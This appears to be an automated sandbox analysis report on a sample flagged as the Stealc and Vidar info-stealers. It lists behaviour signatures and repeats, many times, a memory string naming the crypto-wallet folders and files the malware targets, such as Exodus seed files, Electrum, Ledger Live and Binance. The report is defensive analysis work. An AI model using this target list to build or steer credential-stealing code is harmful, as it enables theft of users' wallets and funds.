Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2630172832.0000000001268000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: )Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9FB341 cpuid

0_2_6C9FB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9C35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2629516895.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2171006516.0000000005830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5580, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.000000000105E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.000000000105E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2629516895.000000000105E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2629516895.000000000105E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
